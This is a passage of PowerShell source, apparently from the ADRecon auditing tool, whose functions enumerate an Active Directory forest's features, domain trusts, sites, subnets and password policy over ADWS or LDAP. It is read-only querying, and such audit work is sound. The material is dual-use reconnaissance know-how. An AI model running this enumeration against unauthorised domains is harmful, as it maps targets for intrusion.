# Get Tombstone Lifetime
Try
{
$ADForestCNC = (Get-ADRootDSE).configurationNamingContext
$ADForestDSCP = Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,$($ADForestCNC)" -Partition $ADForestCNC -Properties *
$ADForestTombstoneLifetime = $ADForestDSCP.tombstoneLifetime
Remove-Variable ADForestCNC
Remove-Variable ADForestDSCP
}
Catch
{
Write-Warning "[Get-ADRForest] Error retrieving Tombstone Lifetime"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
# Check Recycle Bin Feature Status
If ([convert]::ToInt32($ADForest.ForestMode) -ge 6)
{
Try
{
$ADRecycleBin = Get-ADOptionalFeature -Identity "Recycle Bin Feature"
}
Catch
{
Write-Warning "[Get-ADRForest] Error retrieving Recycle Bin Feature"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
# Check Privileged Access Management Feature status
If ([convert]::ToInt32($ADForest.ForestMode) -ge 7)
{
Try
{
$PrivilegedAccessManagement = Get-ADOptionalFeature -Identity "Privileged Access Management Feature"
}
Catch
{
Write-Warning "[Get-ADRForest] Error retrieving Privileged Acceess Management Feature"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
$ForestObj = @()
# Values taken from https://technet.microsoft.com/en-us/library/hh852281(v=wps.630).aspx
$FLAD = @{
0 = "Windows2000";
1 = "Windows2003/Interim";
2 = "Windows2003";
3 = "Windows2008";
4 = "Windows2008R2";
5 = "Windows2012";
6 = "Windows2012R2";
7 = "Windows2016"
}
$ForestMode = $FLAD[[convert]::ToInt32($ADForest.ForestMode)] + "Forest"
Remove-Variable FLAD
If (-Not $ForestMode)
{
$ForestMode = $ADForest.ForestMode
}
$ObjValues = @("Name", $ADForest.Name, "Functional Level", $ForestMode, "Domain Naming Master", $ADForest.DomainNamingMaster, "Schema Master", $ADForest.SchemaMaster, "RootDomain", $ADForest.RootDomain, "Domain Count", $ADForest.Domains.Count, "Site Count", $ADForest.Sites.Count, "Global Catalog Count", $ADForest.GlobalCatalogs.Count)
For ($i = 0; $i -lt $($ObjValues.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value $ObjValues[$i]
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ObjValues[$i+1]
$i++
$ForestObj += $Obj
}
Remove-Variable ForestMode
For($i=0; $i -lt $ADForest.Domains.Count; $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Domain"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADForest.Domains[$i]
$ForestObj += $Obj
}
For($i=0; $i -lt $ADForest.Sites.Count; $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Site"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADForest.Sites[$i]
$ForestObj += $Obj
}
For($i=0; $i -lt $ADForest.GlobalCatalogs.Count; $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "GlobalCatalog"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADForest.GlobalCatalogs[$i]
$ForestObj += $Obj
}
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Tombstone Lifetime"
If ($ADForestTombstoneLifetime)
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADForestTombstoneLifetime
Remove-Variable ADForestTombstoneLifetime
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Not Retrieved"
}
$ForestObj += $Obj
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Recycle Bin (2008 R2 onwards)"
If ($ADRecycleBin)
{
If ($ADRecycleBin.EnabledScopes.Count -gt 0)
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Enabled"
$ForestObj += $Obj
For($i=0; $i -lt $($ADRecycleBin.EnabledScopes.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Enabled Scope"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADRecycleBin.EnabledScopes[$i]
$ForestObj += $Obj
}
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Disabled"
$ForestObj += $Obj
}
Remove-Variable ADRecycleBin
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Disabled"
$ForestObj += $Obj
}
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Privileged Access Management (2016 onwards)"
If ($PrivilegedAccessManagement)
{
If ($PrivilegedAccessManagement.EnabledScopes.Count -gt 0)
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Enabled"
$ForestObj += $Obj
For($i=0; $i -lt $($PrivilegedAccessManagement.EnabledScopes.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Enabled Scope"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $PrivilegedAccessManagement.EnabledScopes[$i]
$ForestObj += $Obj
}
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Disabled"
$ForestObj += $Obj
}
Remove-Variable PrivilegedAccessManagement
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Disabled"
$ForestObj += $Obj
}
Remove-Variable ADForest
}
}
If ($Protocol -eq 'LDAP')
{
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$DomainFQDN = Get-DNtoFQDN($objDomain.distinguishedName)
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain",$($DomainFQDN),$($Credential.UserName),$($Credential.GetNetworkCredential().password))
Try
{
$ADDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
Catch
{
Write-Warning "[Get-ADRForest] Error getting Domain Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
Remove-Variable DomainContext
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Forest",$($ADDomain.Forest),$($Credential.UserName),$($Credential.GetNetworkCredential().password))
Remove-Variable ADDomain
Try
{
$ADForest = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
Catch
{
Write-Warning "[Get-ADRForest] Error getting Forest Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
Remove-Variable ForestContext
# Get Tombstone Lifetime
Try
{
$SearchPath = "CN=Directory Service,CN=Windows NT,CN=Services"
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$SearchPath,$($objDomainRootDSE.configurationNamingContext)", $Credential.UserName,$Credential.GetNetworkCredential().Password
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
$objSearcherPath.Filter="(name=Directory Service)"
$objSearcherResult = $objSearcherPath.FindAll()
$ADForestTombstoneLifetime = $objSearcherResult.Properties.tombstoneLifetime
Remove-Variable SearchPath
$objSearchPath.Dispose()
$objSearcherPath.Dispose()
$objSearcherResult.Dispose()
}
Catch
{
Write-Warning "[Get-ADRForest] Error retrieving Tombstone Lifetime"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
# Check Recycle Bin Feature Status
If ([convert]::ToInt32($objDomainRootDSE.forestFunctionality,10) -ge 6)
{
Try
{
$SearchPath = "CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration"
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$($SearchPath),$($objDomain.distinguishedName)", $Credential.UserName,$Credential.GetNetworkCredential().Password
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
$ADRecycleBin = $objSearcherPath.FindAll()
Remove-Variable SearchPath
$objSearchPath.Dispose()
$objSearcherPath.Dispose()
}
Catch
{
Write-Warning "[Get-ADRForest] Error retrieving Recycle Bin Feature"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
# Check Privileged Access Management Feature status
If ([convert]::ToInt32($objDomainRootDSE.forestFunctionality,10) -ge 7)
{
Try
{
$SearchPath = "CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration"
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$($SearchPath),$($objDomain.distinguishedName)", $Credential.UserName,$Credential.GetNetworkCredential().Password
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
$PrivilegedAccessManagement = $objSearcherPath.FindAll()
Remove-Variable SearchPath
$objSearchPath.Dispose()
$objSearcherPath.Dispose()
}
Catch
{
Write-Warning "[Get-ADRForest] Error retrieving Privileged Access Management Feature"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
}
Else
{
$ADDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$ADForest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
# Get Tombstone Lifetime
$ADForestTombstoneLifetime = ([ADSI]"LDAP://CN=Directory Service,CN=Windows NT,CN=Services,$($objDomainRootDSE.configurationNamingContext)").tombstoneLifetime.value
# Check Recycle Bin Feature Status
If ([convert]::ToInt32($objDomainRootDSE.forestFunctionality,10) -ge 6)
{
$ADRecycleBin = ([ADSI]"LDAP://CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,$($objDomain.distinguishedName)")
}
# Check Privileged Access Management Feature Status
If ([convert]::ToInt32($objDomainRootDSE.forestFunctionality,10) -ge 7)
{
$PrivilegedAccessManagement = ([ADSI]"LDAP://CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,$($objDomain.distinguishedName)")
}
}
If ($ADForest)
{
$ForestObj = @()
# Values taken from https://technet.microsoft.com/en-us/library/hh852281(v=wps.630).aspx
$FLAD = @{
0 = "Windows2000";
1 = "Windows2003/Interim";
2 = "Windows2003";
3 = "Windows2008";
4 = "Windows2008R2";
5 = "Windows2012";
6 = "Windows2012R2";
7 = "Windows2016"
}
$ForestMode = $FLAD[[convert]::ToInt32($objDomainRootDSE.forestFunctionality,10)] + "Forest"
Remove-Variable FLAD
$ObjValues = @("Name", $ADForest.Name, "Functional Level", $ForestMode, "Domain Naming Master", $ADForest.NamingRoleOwner, "Schema Master", $ADForest.SchemaRoleOwner, "RootDomain", $ADForest.RootDomain, "Domain Count", $ADForest.Domains.Count, "Site Count", $ADForest.Sites.Count, "Global Catalog Count", $ADForest.GlobalCatalogs.Count)
For ($i = 0; $i -lt $($ObjValues.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value $ObjValues[$i]
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ObjValues[$i+1]
$i++
$ForestObj += $Obj
}
Remove-Variable ForestMode
For($i=0; $i -lt $ADForest.Domains.Count; $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Domain"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADForest.Domains[$i]
$ForestObj += $Obj
}
For($i=0; $i -lt $ADForest.Sites.Count; $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Site"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADForest.Sites[$i]
$ForestObj += $Obj
}
For($i=0; $i -lt $ADForest.GlobalCatalogs.Count; $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "GlobalCatalog"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADForest.GlobalCatalogs[$i]
$ForestObj += $Obj
}
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Tombstone Lifetime"
If ($ADForestTombstoneLifetime)
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADForestTombstoneLifetime
Remove-Variable ADForestTombstoneLifetime
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Not Retrieved"
}
$ForestObj += $Obj
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Recycle Bin (2008 R2 onwards)"
If ($ADRecycleBin)
{
If ($ADRecycleBin.Properties.'msDS-EnabledFeatureBL'.Count -gt 0)
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Enabled"
$ForestObj += $Obj
For($i=0; $i -lt $($ADRecycleBin.Properties.'msDS-EnabledFeatureBL'.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Enabled Scope"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADRecycleBin.Properties.'msDS-EnabledFeatureBL'[$i]
$ForestObj += $Obj
}
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Disabled"
$ForestObj += $Obj
}
Remove-Variable ADRecycleBin
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Disabled"
$ForestObj += $Obj
}
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Privileged Access Management (2016 onwards)"
If ($PrivilegedAccessManagement)
{
If ($PrivilegedAccessManagement.Properties.'msDS-EnabledFeatureBL'.Count -gt 0)
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Enabled"
$ForestObj += $Obj
For($i=0; $i -lt $($PrivilegedAccessManagement.Properties.'msDS-EnabledFeatureBL'.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Enabled Scope"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $PrivilegedAccessManagement.Properties.'msDS-EnabledFeatureBL'[$i]
$ForestObj += $Obj
}
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Disabled"
$ForestObj += $Obj
}
Remove-Variable PrivilegedAccessManagement
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value "Disabled"
$ForestObj += $Obj
}
Remove-Variable ADForest
}
}
If ($ForestObj)
{
Return $ForestObj
}
Else
{
Return $null
}
}
Function Get-ADRTrust
{
<#
.SYNOPSIS
Returns the Trusts of the current (or specified) domain.
.DESCRIPTION
Returns the Trusts of the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain
)
# Values taken from https://msdn.microsoft.com/en-us/library/cc223768.aspx
$TDAD = @{
0 = "Disabled";
1 = "Inbound";
2 = "Outbound";
3 = "BiDirectional";
}
# Values taken from https://msdn.microsoft.com/en-us/library/cc223771.aspx
$TTAD = @{
1 = "Downlevel";
2 = "Uplevel";
3 = "MIT";
4 = "DCE";
}
If ($Protocol -eq 'ADWS')
{
Try
{
$ADTrusts = Get-ADObject -LDAPFilter "(objectClass=trustedDomain)" -Properties DistinguishedName,trustPartner,trustdirection,trusttype,TrustAttributes,whenCreated,whenChanged
}
Catch
{
Write-Warning "[Get-ADRTrust] Error while enumerating trustedDomain Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADTrusts)
{
Write-Verbose "[*] Total Trusts: $([ADRecon.ADWSClass]::ObjectCount($ADTrusts))"
# Trust Info
$ADTrustObj = @()
$ADTrusts | ForEach-Object {
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Source Domain" -Value (Get-DNtoFQDN $_.DistinguishedName)
$Obj | Add-Member -MemberType NoteProperty -Name "Target Domain" -Value $_.trustPartner
$TrustDirection = [string] $TDAD[$_.trustdirection]
$Obj | Add-Member -MemberType NoteProperty -Name "Trust Direction" -Value $TrustDirection
$TrustType = [string] $TTAD[$_.trusttype]
$Obj | Add-Member -MemberType NoteProperty -Name "Trust Type" -Value $TrustType
$TrustAttributes = $null
If ([int32] $_.TrustAttributes -band 0x00000001) { $TrustAttributes += "Non Transitive," }
If ([int32] $_.TrustAttributes -band 0x00000002) { $TrustAttributes += "UpLevel," }
If ([int32] $_.TrustAttributes -band 0x00000004) { $TrustAttributes += "Quarantined," } #SID Filtering
If ([int32] $_.TrustAttributes -band 0x00000008) { $TrustAttributes += "Forest Transitive," }
If ([int32] $_.TrustAttributes -band 0x00000010) { $TrustAttributes += "Cross Organization," } #Selective Auth
If ([int32] $_.TrustAttributes -band 0x00000020) { $TrustAttributes += "Within Forest," }
If ([int32] $_.TrustAttributes -band 0x00000040) { $TrustAttributes += "Treat as External," }
If ([int32] $_.TrustAttributes -band 0x00000080) { $TrustAttributes += "Uses RC4 Encryption," }
If ([int32] $_.TrustAttributes -band 0x00000200) { $TrustAttributes += "No TGT Delegation," }
If ([int32] $_.TrustAttributes -band 0x00000400) { $TrustAttributes += "PIM Trust," }
If ($TrustAttributes)
{
$TrustAttributes = $TrustAttributes.TrimEnd(",")
}
$Obj | Add-Member -MemberType NoteProperty -Name "Attributes" -Value $TrustAttributes
$Obj | Add-Member -MemberType NoteProperty -Name "whenCreated" -Value ([DateTime] $($_.whenCreated))
$Obj | Add-Member -MemberType NoteProperty -Name "whenChanged" -Value ([DateTime] $($_.whenChanged))
$ADTrustObj += $Obj
}
Remove-Variable ADTrusts
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(objectClass=trustedDomain)"
$ObjSearcher.PropertiesToLoad.AddRange(("distinguishedname","trustpartner","trustdirection","trusttype","trustattributes","whencreated","whenchanged"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADTrusts = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRTrust] Error while enumerating trustedDomain Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADTrusts)
{
Write-Verbose "[*] Total Trusts: $([ADRecon.LDAPClass]::ObjectCount($ADTrusts))"
# Trust Info
$ADTrustObj = @()
$ADTrusts | ForEach-Object {
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Source Domain" -Value $(Get-DNtoFQDN ([string] $_.Properties.distinguishedname))
$Obj | Add-Member -MemberType NoteProperty -Name "Target Domain" -Value $([string] $_.Properties.trustpartner)
$TrustDirection = [string] $TDAD[$_.Properties.trustdirection]
$Obj | Add-Member -MemberType NoteProperty -Name "Trust Direction" -Value $TrustDirection
$TrustType = [string] $TTAD[$_.Properties.trusttype]
$Obj | Add-Member -MemberType NoteProperty -Name "Trust Type" -Value $TrustType
$TrustAttributes = $null
If ([int32] $_.Properties.trustattributes[0] -band 0x00000001) { $TrustAttributes += "Non Transitive," }
If ([int32] $_.Properties.trustattributes[0] -band 0x00000002) { $TrustAttributes += "UpLevel," }
If ([int32] $_.Properties.trustattributes[0] -band 0x00000004) { $TrustAttributes += "Quarantined," } #SID Filtering
If ([int32] $_.Properties.trustattributes[0] -band 0x00000008) { $TrustAttributes += "Forest Transitive," }
If ([int32] $_.Properties.trustattributes[0] -band 0x00000010) { $TrustAttributes += "Cross Organization," } #Selective Auth
If ([int32] $_.Properties.trustattributes[0] -band 0x00000020) { $TrustAttributes += "Within Forest," }
If ([int32] $_.Properties.trustattributes[0] -band 0x00000040) { $TrustAttributes += "Treat as External," }
If ([int32] $_.Properties.trustattributes[0] -band 0x00000080) { $TrustAttributes += "Uses RC4 Encryption," }
If ([int32] $_.Properties.trustattributes[0] -band 0x00000200) { $TrustAttributes += "No TGT Delegation," }
If ([int32] $_.Properties.trustattributes[0] -band 0x00000400) { $TrustAttributes += "PIM Trust," }
If ($TrustAttributes)
{
$TrustAttributes = $TrustAttributes.TrimEnd(",")
}
$Obj | Add-Member -MemberType NoteProperty -Name "Attributes" -Value $TrustAttributes
$Obj | Add-Member -MemberType NoteProperty -Name "whenCreated" -Value ([DateTime] $($_.Properties.whencreated))
$Obj | Add-Member -MemberType NoteProperty -Name "whenChanged" -Value ([DateTime] $($_.Properties.whenchanged))
$ADTrustObj += $Obj
}
Remove-Variable ADTrusts
}
}
If ($ADTrustObj)
{
Return $ADTrustObj
}
Else
{
Return $null
}
}
Function Get-ADRSite
{
<#
.SYNOPSIS
Returns the Sites of the current (or specified) domain.
.DESCRIPTION
Returns the Sites of the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER objDomainRootDSE
[DirectoryServices.DirectoryEntry]
RootDSE Directory Entry object.
.PARAMETER DomainController
[string]
IP Address of the Domain Controller.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomainRootDSE,
[Parameter(Mandatory = $false)]
[string] $DomainController,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty
)
If ($Protocol -eq 'ADWS')
{
Try
{
$SearchPath = "CN=Sites"
$ADSites = Get-ADObject -SearchBase "$SearchPath,$((Get-ADRootDSE).configurationNamingContext)" -LDAPFilter "(objectClass=site)" -Properties Name,Description,whenCreated,whenChanged
}
Catch
{
Write-Warning "[Get-ADRSite] Error while enumerating Site Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADSites)
{
Write-Verbose "[*] Total Sites: $([ADRecon.ADWSClass]::ObjectCount($ADSites))"
# Sites Info
$ADSiteObj = @()
$ADSites | ForEach-Object {
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Name" -Value $_.Name
$Obj | Add-Member -MemberType NoteProperty -Name "Description" -Value $_.Description
$Obj | Add-Member -MemberType NoteProperty -Name "whenCreated" -Value $_.whenCreated
$Obj | Add-Member -MemberType NoteProperty -Name "whenChanged" -Value $_.whenChanged
$ADSiteObj += $Obj
}
Remove-Variable ADSites
}
}
If ($Protocol -eq 'LDAP')
{
$SearchPath = "CN=Sites"
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$SearchPath,$($objDomainRootDSE.ConfigurationNamingContext)", $Credential.UserName,$Credential.GetNetworkCredential().Password
}
Else
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$SearchPath,$($objDomainRootDSE.ConfigurationNamingContext)"
}
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
$ObjSearcher.Filter = "(objectClass=site)"
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADSites = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRSite] Error while enumerating Site Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADSites)
{
Write-Verbose "[*] Total Sites: $([ADRecon.LDAPClass]::ObjectCount($ADSites))"
# Site Info
$ADSiteObj = @()
$ADSites | ForEach-Object {
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Name" -Value $([string] $_.Properties.name)
$Obj | Add-Member -MemberType NoteProperty -Name "Description" -Value $([string] $_.Properties.description)
$Obj | Add-Member -MemberType NoteProperty -Name "whenCreated" -Value ([DateTime] $($_.Properties.whencreated))
$Obj | Add-Member -MemberType NoteProperty -Name "whenChanged" -Value ([DateTime] $($_.Properties.whenchanged))
$ADSiteObj += $Obj
}
Remove-Variable ADSites
}
}
If ($ADSiteObj)
{
Return $ADSiteObj
}
Else
{
Return $null
}
}
Function Get-ADRSubnet
{
<#
.SYNOPSIS
Returns the Subnets of the current (or specified) domain.
.DESCRIPTION
Returns the Subnets of the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER objDomainRootDSE
[DirectoryServices.DirectoryEntry]
RootDSE Directory Entry object.
.PARAMETER DomainController
[string]
IP Address of the Domain Controller.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomainRootDSE,
[Parameter(Mandatory = $false)]
[string] $DomainController,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty
)
If ($Protocol -eq 'ADWS')
{
Try
{
$SearchPath = "CN=Subnets,CN=Sites"
$ADSubnets = Get-ADObject -SearchBase "$SearchPath,$((Get-ADRootDSE).configurationNamingContext)" -LDAPFilter "(objectClass=subnet)" -Properties Name,Description,siteObject,whenCreated,whenChanged
}
Catch
{
Write-Warning "[Get-ADRSubnet] Error while enumerating Subnet Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADSubnets)
{
Write-Verbose "[*] Total Subnets: $([ADRecon.ADWSClass]::ObjectCount($ADSubnets))"
# Subnets Info
$ADSubnetObj = @()
$ADSubnets | ForEach-Object {
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Site" -Value $(($_.siteObject -Split ",")[0] -replace 'CN=','')
$Obj | Add-Member -MemberType NoteProperty -Name "Name" -Value $_.Name
$Obj | Add-Member -MemberType NoteProperty -Name "Description" -Value $_.Description
$Obj | Add-Member -MemberType NoteProperty -Name "whenCreated" -Value $_.whenCreated
$Obj | Add-Member -MemberType NoteProperty -Name "whenChanged" -Value $_.whenChanged
$ADSubnetObj += $Obj
}
Remove-Variable ADSubnets
}
}
If ($Protocol -eq 'LDAP')
{
$SearchPath = "CN=Subnets,CN=Sites"
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$SearchPath,$($objDomainRootDSE.ConfigurationNamingContext)", $Credential.UserName,$Credential.GetNetworkCredential().Password
}
Else
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$SearchPath,$($objDomainRootDSE.ConfigurationNamingContext)"
}
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
$ObjSearcher.Filter = "(objectClass=subnet)"
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADSubnets = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRSubnet] Error while enumerating Subnet Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADSubnets)
{
Write-Verbose "[*] Total Subnets: $([ADRecon.LDAPClass]::ObjectCount($ADSubnets))"
# Subnets Info
$ADSubnetObj = @()
$ADSubnets | ForEach-Object {
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Site" -Value $((([string] $_.Properties.siteobject) -Split ",")[0] -replace 'CN=','')
$Obj | Add-Member -MemberType NoteProperty -Name "Name" -Value $([string] $_.Properties.name)
$Obj | Add-Member -MemberType NoteProperty -Name "Description" -Value $([string] $_.Properties.description)
$Obj | Add-Member -MemberType NoteProperty -Name "whenCreated" -Value ([DateTime] $($_.Properties.whencreated))
$Obj | Add-Member -MemberType NoteProperty -Name "whenChanged" -Value ([DateTime] $($_.Properties.whenchanged))
$ADSubnetObj += $Obj
}
Remove-Variable ADSubnets
}
}
If ($ADSubnetObj)
{
Return $ADSubnetObj
}
Else
{
Return $null
}
}
Function Get-ADRDefaultPasswordPolicy
{
<#
.SYNOPSIS
Returns the Default Password Policy of the current (or specified) domain.
.DESCRIPTION
Returns the Default Password Policy of the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADpasspolicy = Get-ADDefaultDomainPasswordPolicy
}
Catch
{
Write-Warning "[Get-ADRDefaultPasswordPolicy] Error while enumerating the Default Password Policy"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADpasspolicy)
{
$ObjValues = @( "Enforce password history (passwords)", $ADpasspolicy.PasswordHistoryCount, "4", "Req. 8.2.5", "8", "Control: 0423", "24 or more",
"Maximum password age (days)", $ADpasspolicy.MaxPasswordAge.days, "90", "Req. 8.2.4", "90", "Control: 0423", "1 to 60",
